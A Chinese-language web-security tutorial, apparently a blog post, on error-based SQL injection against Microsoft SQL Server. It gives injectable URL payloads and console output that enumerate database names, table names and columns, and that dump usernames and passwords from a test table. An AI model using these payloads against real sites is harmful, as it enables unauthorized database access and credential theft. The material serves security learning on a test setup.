0x00 测试数据

1> select * from article;
2> go
+----+-----------+-----------+
| id | title       | content    |
+----+-----------+-----------+
|  1 | 测试标题  | 测试内容  |
|  2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)

# 测试表数据: users;
sql server> select * from users;
+----+--------------+----------+
| id | username     | password |
+----+--------------+----------+
|  1 | test-user-01 |  123456  | 
|  2 | test-user-02 |  234567  |
+----+--------------+----------+
2 rows in set (0.00 sec)

sql server> SELECT system_user;
+-----------------------+
| field1                |
+-----------------------+
| sa                    |
+-----------------------+
1 row in set (0.00 sec)

sql server> select db_name();
+-----------------------+
| field1                |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)

0x01 爆库名

注意: db_name(1) 修改会显示其他库名
例如:
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库

web语句: http://www.test.com/sql.php?id=1 and 1=db_name(1)

数据库语句: select * from _users _where id =1 and 1=db_name(1)

1> select *  from users where id =1 and 1=db_name(1);
2> go
22018 - [SQL Server]在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

1> select *  from users where id =1 and 1=db_name(2);
2> go
22018 - [SQL Server]在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。

0x02 爆表名

注意：
OVER(Order by table_name) 里面的 name 要修改为 test.dbo.sysobjects 表里面存在的一个字段

查询不同的库可以这样

例如现在有 test库与 test2库
那么就可以这样调用
test.dbo.sysobjects
test2.dbo.sysobjects

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

注意：
XType=’U’ 表示获取某数据库的所有用户表;
XType=’S’ 表示获取某数据库的所有系统表;

例如现在查询得是 test 库得表名

web语句: http://www.test.com/sql.php?id=1 and 1=(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1)

数据库语句: select * from users where id =1 and 1=(select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1)

# 爆 1表
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        name
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                name
            FROM
                test.dbo.sysobjects
            WHERE
                XType = 'U'
        ) AS a
    WHERE
        row_number = 1
);
2> go
22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。

# 爆 2表
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        name
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                name
            FROM
                test.dbo.sysobjects
            WHERE
                XType = 'U'
        ) AS a
    WHERE
        row_number = 2
);
2> go
22018 - [SQL Server]在将 nvarchar 值 'users' 转换成数据类型 int 时失败。

0x03 暴字段

注意：
OVER(Order by name ) 里面的 name 要修改为 test.dbo.SysColumns 表里面存在的一个字段

查询不同的表可以这样
例如：
Object_id(‘要查询的表名’)

查询不同的字段可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=(select top 1 name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.SysColumns Where id=Object_id(‘users’)) as a where a.row_number=1)

数据库语句: select * from users where id=1 and 1=(select top 1 name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.SysColumns Where id=Object_id(‘users’)) as a where a.row_number=1)

# 获取当前库 users表 第一个字段名称
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        TOP 1 name
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                name
            FROM
                test.dbo.SysColumns
            WHERE
                id = Object_id('users')
        ) AS a
    WHERE
        a.row_number = 1
);
2> go
22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。

# 获取当前库 users表 第二个字段名称
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        TOP 1 name
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                name
            FROM
                test.dbo.SysColumns
            WHERE
                id = Object_id('users')
        ) AS a
    WHERE
        a.row_number = 2
);
2> go
22018 - [SQL Server]在将 nvarchar 值 'password' 转换成数据类型 int 时失败。

0x04 爆内容

注意：
OVER(Order by username) 里面的 username 要修改为 users 表里面存在的一个字段
查询不同的数据可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 AND 1 = (select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1)

数据库语句: SELECT FROM users WHERE id = 1 AND 1 = (select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number, from users) as a where row_number=1)

# 查询users表 第一条数据
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
            FROM
                users
        ) AS a
    WHERE
        row_number = 1
);
2> go
22018 - [SQL Server]在将 varchar 值 '1         |test-user-01|123456' 转换成数据类型 int 时失败。
1>

# 查询users表 第二条数据
1> SELECT
    *
FROM
    users
WHERE
    id = 1
AND 1 = (
    SELECT
        CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
    FROM
        (
            SELECT
                ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
            FROM
                users
        ) AS a
    WHERE
        row_number = 2
);
2> go
22018 - [SQL Server]在将 varchar 值 '2         |test-user-02|234567' 转换成数据类型 int 时失败。

web安全学习

SQL Server 报错注入二

0x00 测试数据

0x01 爆库名

0x02 爆表名

0x03 暴字段

0x04 爆内容